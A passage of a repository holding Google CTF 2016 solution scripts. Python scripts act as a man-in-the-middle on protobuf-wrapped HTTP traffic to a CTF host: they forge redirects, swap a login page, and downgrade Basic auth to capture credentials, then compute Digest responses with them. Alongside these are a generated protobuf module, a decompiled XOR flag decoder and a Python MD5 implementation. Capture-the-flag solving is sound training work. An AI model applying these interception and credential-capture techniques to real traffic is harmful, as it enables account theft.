14 | def unl32(s):
15 | assert len(s) == 4
16 | ret = 0
17 | ret += ord(s[0])
18 | ret += ord(s[1]) << 8
19 | ret += ord(s[2]) << 16
20 | ret += ord(s[3]) << 24
21 | return ret
22 |
23 | def recv_protobuf(conn):
24 | length = unl32(conn.recvn(4))
25 | return exchange_pb2.Exchange.FromString(conn.recvn(length))
26 |
27 | def send_protobuf(conn, protobuf):
28 | data = protobuf.SerializeToString()
29 | length = l32(len(data))
30 | conn.send(length+data)
31 |
32 | def thru_protobuf(conn, isPrinted=True):
33 | ex = recv_protobuf(conn)
34 | if isPrinted: print ex
35 | send_protobuf(conn, ex)
36 |
37 | proxy = None
38 | conn = connection.Connection(('ssl-added-and-removed-here.ctfcompetition.com', 13001), proxy, True)
39 |
40 | ex = recv_protobuf(conn)
41 | fake_reply_ex = exchange_pb2.Exchange()
42 | fake_reply_ex.reply.status = 302
43 | header = fake_reply_ex.reply.headers.add()
44 | header.key = 'Location'
45 | header.value = '/protected/secret'
46 | send_protobuf(conn, fake_reply_ex)
47 |
48 | thru_protobuf(conn, True)
49 | thru_protobuf(conn, True)
50 | thru_protobuf(conn, True)
51 | thru_protobuf(conn, True)
--------------------------------------------------------------------------------
/GoogleCTF2016/exchange4.py:
--------------------------------------------------------------------------------
1 | import exchange_pb2
2 | import time
3 | import connection
4 | import hashlib
5 |
6 | def l32(i):
7 | ret = ''
8 | ret += chr((i>>0)&0xFF)
9 | ret += chr((i>>8)&0xFF)
10 | ret += chr((i>>16)&0xFF)
11 | ret += chr((i>>24)&0xFF)
12 | return ret
13 |
14 | def unl32(s):
15 | assert len(s) == 4
16 | ret = 0
17 | ret += ord(s[0])
18 | ret += ord(s[1]) << 8
19 | ret += ord(s[2]) << 16
20 | ret += ord(s[3]) << 24
21 | return ret
22 |
23 | def recv_protobuf(conn):
24 | length = unl32(conn.recvn(4))
25 | return exchange_pb2.Exchange.FromString(conn.recvn(length))
26 |
27 | def send_protobuf(conn, protobuf):
28 | data = protobuf.SerializeToString()
29 | length = l32(len(data))
30 | conn.send(length+data)
31 |
32 | def thru_protobuf(conn, isPrinted=True):
33 | ex = recv_protobuf(conn)
34 | if isPrinted: print ex
35 | send_protobuf(conn, ex)
36 |
37 | proxy = None
38 | conn = connection.Connection(('ssl-added-and-removed-here.ctfcompetition.com', 19121), proxy, True)
39 |
40 | thru_protobuf(conn, True)
41 | reply_ex = recv_protobuf(conn)
42 | #reply_ex.reply.body = reply_ex.reply.body.replace('https://elided/user/sign_in', 'http://elided/user/sign_in')
43 | reply_ex.reply.body = open('1.html','rb').read()
44 | send_protobuf(conn, reply_ex)
45 |
46 | thru_protobuf(conn, True)
47 | thru_protobuf(conn, True)
--------------------------------------------------------------------------------
/GoogleCTF2016/exchange5.py:
--------------------------------------------------------------------------------
1 | import exchange_pb2
2 | import time
3 | import connection
4 | import hashlib
5 |
6 | def l32(i):
7 | ret = ''
8 | ret += chr((i>>0)&0xFF)
9 | ret += chr((i>>8)&0xFF)
10 | ret += chr((i>>16)&0xFF)
11 | ret += chr((i>>24)&0xFF)
12 | return ret
13 |
14 | def unl32(s):
15 | assert len(s) == 4
16 | ret = 0
17 | ret += ord(s[0])
18 | ret += ord(s[1]) << 8
19 | ret += ord(s[2]) << 16
20 | ret += ord(s[3]) << 24
21 | return ret
22 |
23 | def recv_protobuf(conn):
24 | length = unl32(conn.recvn(4))
25 | return exchange_pb2.Exchange.FromString(conn.recvn(length))
26 |
27 | def send_protobuf(conn, protobuf):
28 | data = protobuf.SerializeToString()
29 | length = l32(len(data))
30 | conn.send(length+data)
31 |
32 |
33 | proxy = None
34 | conn = connection.Connection(('ssl-added-and-removed-here.ctfcompetition.com', 12001), proxy, True)
35 |
36 | ex = recv_protobuf(conn)
37 | send_protobuf(conn, ex)
38 |
39 | ex = recv_protobuf(conn)
40 | ex.reply.headers[1].value = 'Basic realm="In the realm of hackers"'
41 | send_protobuf(conn, ex)
42 |
43 | ex = recv_protobuf(conn)
44 | cred = ex.request.headers[0].value.replace('Basic ', '').decode('base64').split(':')
45 | ex.request.uri = '/protected/token'
46 | send_protobuf(conn, ex)
47 |
48 | def calcPass(user, realm, password, method, uri, nonce, nonceCount, cnonce):
49 | ha1 = hashlib.md5(user+':'+realm+':'+password).hexdigest()
50 | ha2 = hashlib.md5(method+':'+uri).hexdigest()
51 | return hashlib.md5(ha1+':'+nonce+':'+nonceCount+':'+cnonce+':auth:'+ha2).hexdigest()
52 |
53 | assert calcPass("Mufasa", "testrealm@host.com", "Circle Of Life", "GET", "/dir/index.html", "dcd98b7102dd2f0e8b11d0f600bfb0c093", "00000001", "0a4f113b") == "6629fae49393a05397450978507c4ef1"
54 |
55 | reply_ex = recv_protobuf(conn)
56 | print reply_ex
57 | auth = reply_ex.reply.headers[1].value
58 |
59 | opaque = auth[auth.find('opaque="')+8:]
60 | opaque = opaque[:opaque.find('"')]
61 | nonce = auth[auth.find('nonce="')+7:]
62 | nonce = nonce[:nonce.find('"')]
63 | nc = "00000002"*9
64 | cnonce = "0a4f113b"*9
65 | response = calcPass(cred[0], 'In the realm of hackers', cred[1], 'GET', ex.request.uri, nonce, nc, cnonce)
66 |
67 | ex.request.headers[0].value = 'Digest username="%s",realm="%s",nonce="%s",uri="%s",qop=auth,nc=%s,cnonce="%s",response="%s",opaque="%s"' % (cred[0], 'In the realm of hackers', nonce, ex.request.uri, nc, cnonce, response, opaque)
68 | send_protobuf(conn, ex)
69 |
70 | print recv_protobuf(conn)
--------------------------------------------------------------------------------
/GoogleCTF2016/exchange_pb2.py:
--------------------------------------------------------------------------------
1 | # Generated by the protocol buffer compiler. DO NOT EDIT!
2 | # source: exchange.proto
3 |
4 | import sys
5 | _b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1'))
6 | from google.protobuf import descriptor as _descriptor
7 | from google.protobuf import message as _message
8 | from google.protobuf import reflection as _reflection
9 | from google.protobuf import symbol_database as _symbol_database
10 | from google.protobuf import descriptor_pb2
11 | # @@protoc_insertion_point(imports)
12 |
13 | _sym_db = _symbol_database.Default()
14 |
15 |
16 |
17 |
18 | DESCRIPTOR = _descriptor.FileDescriptor(
19 | name='exchange.proto',
20 | package='main',
21 | serialized_pb=_b('\n\x0e\x65xchange.proto\x12\x04main\"\xec\x02\n\x08\x45xchange\x12)\n\x07request\x18\x01 \x01(\x0b\x32\x16.main.Exchange.RequestH\x00\x12%\n\x05reply\x18\x02 \x01(\x0b\x32\x14.main.Exchange.ReplyH\x00\x1a$\n\x06Header\x12\x0b\n\x03key\x18\x01 \x02(\t\x12\r\n\x05value\x18\x02 \x02(\t\x1ar\n\x07Request\x12$\n\x03ver\x18\x01 \x02(\x0e\x32\x17.main.Exchange.VerbType\x12\x0b\n\x03uri\x18\x02 \x02(\t\x12&\n\x07headers\x18\x03 \x03(\x0b\x32\x15.main.Exchange.Header\x12\x0c\n\x04\x62ody\x18\x04 \x01(\x0c\x1aM\n\x05Reply\x12\x0e\n\x06status\x18\x01 \x02(\x05\x12&\n\x07headers\x18\x02 \x03(\x0b\x32\x15.main.Exchange.Header\x12\x0c\n\x04\x62ody\x18\x03 \x01(\x0c\"\x1d\n\x08VerbType\x12\x07\n\x03GET\x10\x00\x12\x08\n\x04POST\x10\x01\x42\x06\n\x04type')
22 | )
23 | _sym_db.RegisterFileDescriptor(DESCRIPTOR)
24 |
25 |
26 |
27 | _EXCHANGE_VERBTYPE = _descriptor.EnumDescriptor(
28 | name='VerbType',
29 | full_name='main.Exchange.VerbType',
30 | filename=None,
31 | file=DESCRIPTOR,
32 | values=[
33 | _descriptor.EnumValueDescriptor(
34 | name='GET', index=0, number=0,
35 | options=None,
36 | type=None),
37 | _descriptor.EnumValueDescriptor(
38 | name='POST', index=1, number=1,
39 | options=None,
40 | type=None),
41 | ],
42 | containing_type=None,
43 | options=None,
44 | serialized_start=352,
45 | serialized_end=381,
46 | )
47 | _sym_db.RegisterEnumDescriptor(_EXCHANGE_VERBTYPE)
48 |
49 |
50 | _EXCHANGE_HEADER = _descriptor.Descriptor(
51 | name='Header',
52 | full_name='main.Exchange.Header',
53 | filename=None,
54 | file=DESCRIPTOR,
55 | containing_type=None,
56 | fields=[
57 | _descriptor.FieldDescriptor(
58 | name='key', full_name='main.Exchange.Header.key', index=0,
59 | number=1, type=9, cpp_type=9, label=2,
60 | has_default_value=False, default_value=_b("").decode('utf-8'),
61 | message_type=None, enum_type=None, containing_type=None,
62 | is_extension=False, extension_scope=None,
63 | options=None),
64 | _descriptor.FieldDescriptor(
65 | name='value', full_name='main.Exchange.Header.value', index=1,
66 | number=2, type=9, cpp_type=9, label=2,
67 | has_default_value=False, default_value=_b("").decode('utf-8'),
68 | message_type=None, enum_type=None, containing_type=None,
69 | is_extension=False, extension_scope=None,
70 | options=None),
71 | ],
72 | extensions=[
73 | ],
74 | nested_types=[],
75 | enum_types=[
76 | ],
77 | options=None,
78 | is_extendable=False,
79 | extension_ranges=[],
80 | oneofs=[
81 | ],
82 | serialized_start=119,
83 | serialized_end=155,
84 | )
85 |
86 | _EXCHANGE_REQUEST = _descriptor.Descriptor(
87 | name='Request',
88 | full_name='main.Exchange.Request',
89 | filename=None,
90 | file=DESCRIPTOR,
91 | containing_type=None,
92 | fields=[
93 | _descriptor.FieldDescriptor(
94 | name='ver', full_name='main.Exchange.Request.ver', index=0,
95 | number=1, type=14, cpp_type=8, label=2,
96 | has_default_value=False, default_value=0,
97 | message_type=None, enum_type=None, containing_type=None,
98 | is_extension=False, extension_scope=None,
99 | options=None),
100 | _descriptor.FieldDescriptor(
101 | name='uri', full_name='main.Exchange.Request.uri', index=1,
102 | number=2, type=9, cpp_type=9, label=2,
103 | has_default_value=False, default_value=_b("").decode('utf-8'),
104 | message_type=None, enum_type=None, containing_type=None,
105 | is_extension=False, extension_scope=None,
106 | options=None),
107 | _descriptor.FieldDescriptor(
108 | name='headers', full_name='main.Exchange.Request.headers', index=2,
109 | number=3, type=11, cpp_type=10, label=3,
110 | has_default_value=False, default_value=[],
111 | message_type=None, enum_type=None, containing_type=None,
112 | is_extension=False, extension_scope=None,
113 | options=None),
114 | _descriptor.FieldDescriptor(
115 | name='body', full_name='main.Exchange.Request.body', index=3,
116 | number=4, type=12, cpp_type=9, label=1,
117 | has_default_value=False, default_value=_b(""),
118 | message_type=None, enum_type=None, containing_type=None,
119 | is_extension=False, extension_scope=None,
120 | options=None),
121 | ],
122 | extensions=[
123 | ],
124 | nested_types=[],
125 | enum_types=[
126 | ],
127 | options=None,
128 | is_extendable=False,
129 | extension_ranges=[],
130 | oneofs=[
131 | ],
132 | serialized_start=157,
133 | serialized_end=271,
134 | )
135 |
136 | _EXCHANGE_REPLY = _descriptor.Descriptor(
137 | name='Reply',
138 | full_name='main.Exchange.Reply',
139 | filename=None,
140 | file=DESCRIPTOR,
141 | containing_type=None,
142 | fields=[
143 | _descriptor.FieldDescriptor(
144 | name='status', full_name='main.Exchange.Reply.status', index=0,
145 | number=1, type=5, cpp_type=1, label=2,
146 | has_default_value=False, default_value=0,
147 | message_type=None, enum_type=None, containing_type=None,
148 | is_extension=False, extension_scope=None,
149 | options=None),
150 | _descriptor.FieldDescriptor(
151 | name='headers', full_name='main.Exchange.Reply.headers', index=1,
152 | number=2, type=11, cpp_type=10, label=3,
153 | has_default_value=False, default_value=[],
154 | message_type=None, enum_type=None, containing_type=None,
155 | is_extension=False, extension_scope=None,
156 | options=None),
157 | _descriptor.FieldDescriptor(
158 | name='body', full_name='main.Exchange.Reply.body', index=2,
159 | number=3, type=12, cpp_type=9, label=1,
160 | has_default_value=False, default_value=_b(""),
161 | message_type=None, enum_type=None, containing_type=None,
162 | is_extension=False, extension_scope=None,
163 | options=None),
164 | ],
165 | extensions=[
166 | ],
167 | nested_types=[],
168 | enum_types=[
169 | ],
170 | options=None,
171 | is_extendable=False,
172 | extension_ranges=[],
173 | oneofs=[
174 | ],
175 | serialized_start=273,
176 | serialized_end=350,
177 | )
178 |
179 | _EXCHANGE = _descriptor.Descriptor(
180 | name='Exchange',
181 | full_name='main.Exchange',
182 | filename=None,
183 | file=DESCRIPTOR,
184 | containing_type=None,
185 | fields=[
186 | _descriptor.FieldDescriptor(
187 | name='request', full_name='main.Exchange.request', index=0,
188 | number=1, type=11, cpp_type=10, label=1,
189 | has_default_value=False, default_value=None,
190 | message_type=None, enum_type=None, containing_type=None,
191 | is_extension=False, extension_scope=None,
192 | options=None),
193 | _descriptor.FieldDescriptor(
194 | name='reply', full_name='main.Exchange.reply', index=1,
195 | number=2, type=11, cpp_type=10, label=1,
196 | has_default_value=False, default_value=None,
197 | message_type=None, enum_type=None, containing_type=None,
198 | is_extension=False, extension_scope=None,
199 | options=None),
200 | ],
201 | extensions=[
202 | ],
203 | nested_types=[_EXCHANGE_HEADER, _EXCHANGE_REQUEST, _EXCHANGE_REPLY, ],
204 | enum_types=[
205 | _EXCHANGE_VERBTYPE,
206 | ],
207 | options=None,
208 | is_extendable=False,
209 | extension_ranges=[],
210 | oneofs=[
211 | _descriptor.OneofDescriptor(
212 | name='type', full_name='main.Exchange.type',
213 | index=0, containing_type=None, fields=[]),
214 | ],
215 | serialized_start=25,
216 | serialized_end=389,
217 | )
218 |
219 | _EXCHANGE_HEADER.containing_type = _EXCHANGE
220 | _EXCHANGE_REQUEST.fields_by_name['ver'].enum_type = _EXCHANGE_VERBTYPE
221 | _EXCHANGE_REQUEST.fields_by_name['headers'].message_type = _EXCHANGE_HEADER
222 | _EXCHANGE_REQUEST.containing_type = _EXCHANGE
223 | _EXCHANGE_REPLY.fields_by_name['headers'].message_type = _EXCHANGE_HEADER
224 | _EXCHANGE_REPLY.containing_type = _EXCHANGE
225 | _EXCHANGE.fields_by_name['request'].message_type = _EXCHANGE_REQUEST
226 | _EXCHANGE.fields_by_name['reply'].message_type = _EXCHANGE_REPLY
227 | _EXCHANGE_VERBTYPE.containing_type = _EXCHANGE
228 | _EXCHANGE.oneofs_by_name['type'].fields.append(
229 | _EXCHANGE.fields_by_name['request'])
230 | _EXCHANGE.fields_by_name['request'].containing_oneof = _EXCHANGE.oneofs_by_name['type']
231 | _EXCHANGE.oneofs_by_name['type'].fields.append(
232 | _EXCHANGE.fields_by_name['reply'])
233 | _EXCHANGE.fields_by_name['reply'].containing_oneof = _EXCHANGE.oneofs_by_name['type']
234 | DESCRIPTOR.message_types_by_name['Exchange'] = _EXCHANGE
235 |
236 | Exchange = _reflection.GeneratedProtocolMessageType('Exchange', (_message.Message,), dict(
237 |
238 | Header = _reflection.GeneratedProtocolMessageType('Header', (_message.Message,), dict(
239 | DESCRIPTOR = _EXCHANGE_HEADER,
240 | __module__ = 'exchange_pb2'
241 | # @@protoc_insertion_point(class_scope:main.Exchange.Header)
242 | ))
243 | ,
244 |
245 | Request = _reflection.GeneratedProtocolMessageType('Request', (_message.Message,), dict(
246 | DESCRIPTOR = _EXCHANGE_REQUEST,
247 | __module__ = 'exchange_pb2'
248 | # @@protoc_insertion_point(class_scope:main.Exchange.Request)
249 | ))
250 | ,
251 |
252 | Reply = _reflection.GeneratedProtocolMessageType('Reply', (_message.Message,), dict(
253 | DESCRIPTOR = _EXCHANGE_REPLY,
254 | __module__ = 'exchange_pb2'
255 | # @@protoc_insertion_point(class_scope:main.Exchange.Reply)
256 | ))
257 | ,
258 | DESCRIPTOR = _EXCHANGE,
259 | __module__ = 'exchange_pb2'
260 | # @@protoc_insertion_point(class_scope:main.Exchange)
261 | ))
262 | _sym_db.RegisterMessage(Exchange)
263 | _sym_db.RegisterMessage(Exchange.Header)
264 | _sym_db.RegisterMessage(Exchange.Request)
265 | _sym_db.RegisterMessage(Exchange.Reply)
266 |
267 |
268 | # @@protoc_insertion_point(module_scope)
269 |
--------------------------------------------------------------------------------
/GoogleCTF2016/illIllusion.cpp:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | using namespace cv;
4 |
5 | #define _WORD unsigned short
6 | #define _DWORD unsigned int
7 |
8 | char byte_A20[]={0x4A,0x49,0x59,0x6C,0x45,0x4C,0x7F,0x5B,0x78,0x6A,0x60,0x7A,0x75,0x78,0x60,0x6E,0x7F,0x4F,0x76,0x7F,0x7A,0x66,0x4F,0x41,0x52,0x6B,0x69,0x50,0x6B,0x59,0x6D,0x62,0x46,0x66,0x74,0x4B,0x71,0x75,0x73,0x66,0x6E,0x7D,0x66,0x6C,0x68,0x51,0x66,0x73,0x71,0x78,0x72,0x5C,0x54,0x65,0x61,0x53,0x67,0x6E,0x6D,0x64,0x63,0x21,0x0};
9 |
10 | int main(int argc, char *argv[])
11 | {
12 |
13 | char v5[100] = "TRytfrgooq|F{i-JovFBungFk\\VlphgQbwvj~HuDgaeTzuSt.@Lex^~\x00"; // ebp@1
14 | const char *v7="ZGFkNGIwYzIWYjEzMTUWNjVjNTVlNjZhOGJkNhYtODIyOGEaMTMWNmQaOTVjZjkhMzRjYmUzZGE?"; // [sp+14h] [bp-168h]@1
15 | const char *v8="MzQxZTZmZjAxMmIiMWUzNjUxMmRiYjIxNDUwYTUxMWItZGQzNWUtMzkyOWYyMmQeYjZmMzEaNDQ?"; // [sp+18h] [bp-164h]@1
16 |
17 | int v6; // ebp@1
18 | size_t v9; // eax@1
19 | int v10; // edi@1
20 | char v11; // al@2
21 | int result; // eax@3
22 | char v13[76]; // [sp+28h] [bp-154h]@1
23 | char v14; // [sp+74h] [bp-108h]@1
24 | char v15[76]; // [sp+75h] [bp-107h]@1
25 | char v16; // [sp+C1h] [bp-BBh]@1
26 | char dest[76]; // [sp+C2h] [bp-BAh]@1
27 | char v18; // [sp+10Eh] [bp-6Eh]@1
28 | char v19[76]; // [sp+10Fh] [bp-6Dh]@2
29 | char v20; // [sp+15Bh] [bp-21h]@3
30 | int v21; // [sp+15Ch] [bp-20h]@1
31 |
32 | v9 = (size_t)&v5[strlen(v5)];
33 | *(_DWORD *)v9 = 'Gwnw';
34 | *(_DWORD *)(v9 + 4) = '{bar';
35 | *(_DWORD *)(v9 + 8) = 'btuO';
36 | *(_DWORD *)(v9 + 12) = 'Crh';
37 | *(_DWORD *)(v9 + 16) = 'mqft';
38 | *(_WORD *)(v9 + 20) = 125;
39 | strncpy(dest, v5, 0x4Cu);
40 | strncpy(v13, v7, 0x4Cu);
41 | strncpy(v15, v8, 0x4Cu);
42 | v18 = 0;
43 | v16 = 0;
44 | v10 = 0;
45 | v14 = 0;
46 | do
47 | {
48 | v11 = dest[v10] ^ v13[v10] ^ v15[v10];
49 | v19[v10++] = v11;
50 | printf("%c", v11);
51 | }
52 | while ( v10 != 76 );
53 | //printf("Here is your Reply: %s", v25);
54 |
55 | return 0;
56 | }
57 |
--------------------------------------------------------------------------------
/GoogleCTF2016/pymd5.py:
--------------------------------------------------------------------------------
1 | """
2 | /* MD5C.C - RSA Data Security, Inc., MD5 message-digest algorithm
3 | */
4 |
5 | /* Copyright (C) 1991-2, RSA Data Security, Inc. Created 1991. All
6 | rights reserved.
7 |
8 | License to copy and use this software is granted provided that it
9 | is identified as the "RSA Data Security, Inc. MD5 Message-Digest
10 | Algorithm" in all material mentioning or referencing this software
11 | or this function.
12 |
13 | License is also granted to make and use derivative works provided
14 | that such works are identified as "derived from the RSA Data
15 | Security, Inc. MD5 Message-Digest Algorithm" in all material
16 | mentioning or referencing the derived work.
17 |
18 | RSA Data Security, Inc. makes no representations concerning either
19 | the merchantability of this software or the suitability of this
20 | software for any particular purpose. It is provided "as is"
21 | without express or implied warranty of any kind.
22 |
23 | These notices must be retained in any copies of any part of this
24 | documentation and/or software.
25 | */
26 | """
27 |
28 | #/* Constants for MD5Transform routine.
29 |
30 | S11 = 7
31 | S12 = 12
32 | S13 = 17
33 | S14 = 22
34 | S21 = 5
35 | S22 = 9
36 | S23 = 14
37 | S24 = 20
38 | S31 = 4
39 | S32 = 11
40 | S33 = 16
41 | S34 = 23
42 | S41 = 6
43 | S42 = 10
44 | S43 = 15
45 | S44 = 21
46 |
47 | PADDING = "\x80" + 63*"\0" # do not overlook first byte again :-)
48 |
49 | #/* F, G, H and I are basic MD5 functions.
50 | def F(x, y, z): return (((x) & (y)) | ((~x) & (z)))
51 |
52 | def G(x, y, z): return (((x) & (z)) | ((y) & (~z)))
53 |
54 | def H(x, y, z): return ((x) ^ (y) ^ (z))
55 |
56 | def I(x, y, z): return((y) ^ ((x) | (~z)))
57 |
58 | #/* ROTATE_LEFT rotates x left n bits.
59 |
60 | def ROTATE_LEFT(x, n):
61 | x = x & 0xffffffffL # make shift unsigned
62 | return (((x) << (n)) | ((x) >> (32-(n)))) & 0xffffffffL
63 |
64 | #/* FF, GG, HH, and II transformations for rounds 1, 2, 3, and 4.
65 | #Rotation is separate from addition to prevent recomputation.
66 |
67 | def FF(a, b, c, d, x, s, ac):
68 | a = a + F ((b), (c), (d)) + (x) + (ac)
69 | a = ROTATE_LEFT ((a), (s))
70 | a = a + b
71 | return a # must assign this to a
72 |
73 | def GG(a, b, c, d, x, s, ac):
74 | a = a + G ((b), (c), (d)) + (x) + (ac)
75 | a = ROTATE_LEFT ((a), (s))
76 | a = a + b
77 | return a # must assign this to a
78 |
79 | def HH(a, b, c, d, x, s, ac):
80 | a = a + H ((b), (c), (d)) + (x) + (ac)
81 | a = ROTATE_LEFT ((a), (s))
82 | a = a + b
83 | return a # must assign this to a
84 |
85 | def II(a, b, c, d, x, s, ac):
86 | a = a + I ((b), (c), (d)) + (x) + (ac)
87 | a = ROTATE_LEFT ((a), (s))
88 | a = a + b
89 | return a # must assign this to a
90 |
91 |
92 | class md5:
93 | def __init__(self, initial=None):
94 | self.count = 0L
95 | self.state = (0x67452301L,
96 | 0xefcdab89L,
97 | 0x98badcfeL,
98 | 0x10325476L,)
99 | self.buffer = b""
100 | if initial:
101 | self.update(initial)
102 |
103 | ##/* MD5 block update operation. Continues an MD5 message-digest
104 | ## operation, processing another message block, and updating the
105 | ## context.
106 | ## */
107 |
108 | ## /* Compute number of bytes mod 64 */
109 | def update(self, input):
110 | inputLen = len(input)
111 | ## index = (unsigned int)((context->count[0] >> 3) & 0x3F);
112 | index = int(self.count >> 3) & 0x3F
113 |
114 | ## /* Update number of bits */
115 | self.count = self.count + (inputLen << 3)
116 |
117 | ## partLen = 64 - index;
118 | partLen = 64 - index
119 |
120 | ## /* Transform as many times as possible.
121 | if inputLen >= partLen:
122 | self.buffer = self.buffer[:index] + input[:partLen]
123 |
124 | self.transform(self.buffer)
125 | i = partLen
126 | while i + 63 < inputLen:
127 | self.transform(input[i:i+64])
128 | i = i + 64
129 | index = 0
130 | else:
131 | i = 0
132 | ## /* Buffer remaining input */
133 | self.buffer = self.buffer[:index] + input[i:inputLen]
134 |
135 |
136 | ##/* MD5 finalization. Ends an MD5 message-digest operation, writing the
137 | ## the message digest and zeroizing the context.
138 | ## */
139 |
140 | def final(self, needPadding=True):
141 |
142 | ## /* Save number of bits */
143 | bits = Encode((self.count & 0xffffffffL, self.count>>32), 8)
144 |
145 | ## /* Pad out to 56 mod 64.
146 |
147 | index = int((self.count >> 3) & 0x3f)
148 | if index < 56:
149 | padLen = (56 - index)
150 | else:
151 | padLen = (120 - index)
152 | if needPadding: self.update(PADDING[:padLen])
153 |
154 | ## /* Append length (before padding) */
155 | if needPadding: self.update(bits)
156 |
157 | ## /* Store state in digest */
158 | digest = Encode(self.state, 16)
159 |
160 | ## /* Zeroize sensitive information.
161 |
162 | self.__dict__.clear()
163 |
164 | return digest
165 |
166 | digest = final # alias
167 |
168 | ##/* MD5 basic transformation. Transforms state based on block.
169 | ## */
170 |
171 | def transform(self, block):
172 | a, b, c, d = state = self.state
173 |
174 | x = Decode(block, 64)
175 |
176 | ## /* Round 1 */
177 | a = FF (a, b, c, d, x[ 0], S11, 0xd76aa478)#; /* 1 */
178 | d = FF (d, a, b, c, x[ 1], S12, 0xe8c7b756)#; /* 2 */
179 | c = FF (c, d, a, b, x[ 2], S13, 0x242070db)#; /* 3 */
180 | b = FF (b, c, d, a, x[ 3], S14, 0xc1bdceee)#; /* 4 */
181 | a = FF (a, b, c, d, x[ 4], S11, 0xf57c0faf)#; /* 5 */
182 | d = FF (d, a, b, c, x[ 5], S12, 0x4787c62a)#; /* 6 */
183 | c = FF (c, d, a, b, x[ 6], S13, 0xa8304613)#; /* 7 */
184 | b = FF (b, c, d, a, x[ 7], S14, 0xfd469501)#; /* 8 */
185 | a = FF (a, b, c, d, x[ 8], S11, 0x698098d8)#; /* 9 */
186 | d = FF (d, a, b, c, x[ 9], S12, 0x8b44f7af)#; /* 10 */
187 | c = FF (c, d, a, b, x[10], S13, 0xffff5bb1)#; /* 11 */
188 | b = FF (b, c, d, a, x[11], S14, 0x895cd7be)#; /* 12 */
189 | a = FF (a, b, c, d, x[12], S11, 0x6b901122)#; /* 13 */
190 | d = FF (d, a, b, c, x[13], S12, 0xfd987193)#; /* 14 */
191 | c = FF (c, d, a, b, x[14], S13, 0xa679438e)#; /* 15 */
192 | b = FF (b, c, d, a, x[15], S14, 0x49b40821)#; /* 16 */
193 |
194 | ## /* Round 2 */
195 | a = GG (a, b, c, d, x[ 1], S21, 0xf61e2562)#; /* 17 */
196 | d = GG (d, a, b, c, x[ 6], S22, 0xc040b340)#; /* 18 */
197 | c = GG (c, d, a, b, x[11], S23, 0x265e5a51)#; /* 19 */
198 | b = GG (b, c, d, a, x[ 0], S24, 0xe9b6c7aa)#; /* 20 */
199 | a = GG (a, b, c, d, x[ 5], S21, 0xd62f105d)#; /* 21 */
200 | d = GG (d, a, b, c, x[10], S22, 0x2441453)#; /* 22 */
201 | c = GG (c, d, a, b, x[15], S23, 0xd8a1e681)#; /* 23 */
202 | b = GG (b, c, d, a, x[ 4], S24, 0xe7d3fbc8)#; /* 24 */
203 | a = GG (a, b, c, d, x[ 9], S21, 0x21e1cde6)#; /* 25 */
204 | d = GG (d, a, b, c, x[14], S22, 0xc33707d6)#; /* 26 */
205 | c = GG (c, d, a, b, x[ 3], S23, 0xf4d50d87)#; /* 27 */
206 | b = GG (b, c, d, a, x[ 8], S24, 0x455a14ed)#; /* 28 */
207 | a = GG (a, b, c, d, x[13], S21, 0xa9e3e905)#; /* 29 */
208 | d = GG (d, a, b, c, x[ 2], S22, 0xfcefa3f8)#; /* 30 */
209 | c = GG (c, d, a, b, x[ 7], S23, 0x676f02d9)#; /* 31 */
210 | b = GG (b, c, d, a, x[12], S24, 0x8d2a4c8a)#; /* 32 */
211 |
212 | ## /* Round 3 */
213 | a = HH (a, b, c, d, x[ 5], S31, 0xfffa3942)#; /* 33 */
214 | d = HH (d, a, b, c, x[ 8], S32, 0x8771f681)#; /* 34 */
215 | c = HH (c, d, a, b, x[11], S33, 0x6d9d6122)#; /* 35 */
216 | b = HH (b, c, d, a, x[14], S34, 0xfde5380c)#; /* 36 */
217 | a = HH (a, b, c, d, x[ 1], S31, 0xa4beea44)#; /* 37 */
218 | d = HH (d, a, b, c, x[ 4], S32, 0x4bdecfa9)#; /* 38 */
219 | c = HH (c, d, a, b, x[ 7], S33, 0xf6bb4b60)#; /* 39 */
220 | b = HH (b, c, d, a, x[10], S34, 0xbebfbc70)#; /* 40 */
221 | a = HH (a, b, c, d, x[13], S31, 0x289b7ec6)#; /* 41 */
222 | d = HH (d, a, b, c, x[ 0], S32, 0xeaa127fa)#; /* 42 */
223 | c = HH (c, d, a, b, x[ 3], S33, 0xd4ef3085)#; /* 43 */
224 | b = HH (b, c, d, a, x[ 6], S34, 0x4881d05)#; /* 44 */
225 | a = HH (a, b, c, d, x[ 9], S31, 0xd9d4d039)#; /* 45 */
226 | d = HH (d, a, b, c, x[12], S32, 0xe6db99e5)#; /* 46 */
227 | c = HH (c, d, a, b, x[15], S33, 0x1fa27cf8)#; /* 47 */
228 | b = HH (b, c, d, a, x[ 2], S34, 0xc4ac5665)#; /* 48 */
229 |
230 | ## /* Round 4 */
231 | a = II (a, b, c, d, x[ 0], S41, 0xf4292244)#; /* 49 */
232 | d = II (d, a, b, c, x[ 7], S42, 0x432aff97)#; /* 50 */
233 | c = II (c, d, a, b, x[14], S43, 0xab9423a7)#; /* 51 */
234 | b = II (b, c, d, a, x[ 5], S44, 0xfc93a039)#; /* 52 */
235 | a = II (a, b, c, d, x[12], S41, 0x655b59c3)#; /* 53 */
236 | d = II (d, a, b, c, x[ 3], S42, 0x8f0ccc92)#; /* 54 */
237 | c = II (c, d, a, b, x[10], S43, 0xffeff47d)#; /* 55 */
238 | b = II (b, c, d, a, x[ 1], S44, 0x85845dd1)#; /* 56 */
239 | a = II (a, b, c, d, x[ 8], S41, 0x6fa87e4f)#; /* 57 */
240 | d = II (d, a, b, c, x[15], S42, 0xfe2ce6e0)#; /* 58 */
241 | c = II (c, d, a, b, x[ 6], S43, 0xa3014314)#; /* 59 */
242 | b = II (b, c, d, a, x[13], S44, 0x4e0811a1)#; /* 60 */
243 | a = II (a, b, c, d, x[ 4], S41, 0xf7537e82)#; /* 61 */
244 | d = II (d, a, b, c, x[11], S42, 0xbd3af235)#; /* 62 */
245 | c = II (c, d, a, b, x[ 2], S43, 0x2ad7d2bb)#; /* 63 */
246 | b = II (b, c, d, a, x[ 9], S44, 0xeb86d391)#; /* 64 */
247 |
248 | self.state = (0xffffffffL & (state[0] + a),
249 | 0xffffffffL & (state[1] + b),
250 | 0xffffffffL & (state[2] + c),
251 | 0xffffffffL & (state[3] + d),)
252 |
253 | ## /* Zeroize sensitive information.
254 |
255 | del x
256 |
257 | # end of the class. Now the helpers
258 |
259 | import struct, string
260 |
261 | def Encode(input, len):
262 | k = len >> 2
263 | res = apply(struct.pack, ("%iI" % k,) + tuple(input[:k]))
264 | return string.join(res, "")
265 |
266 | def Decode(input, len):
267 | k = len >> 2
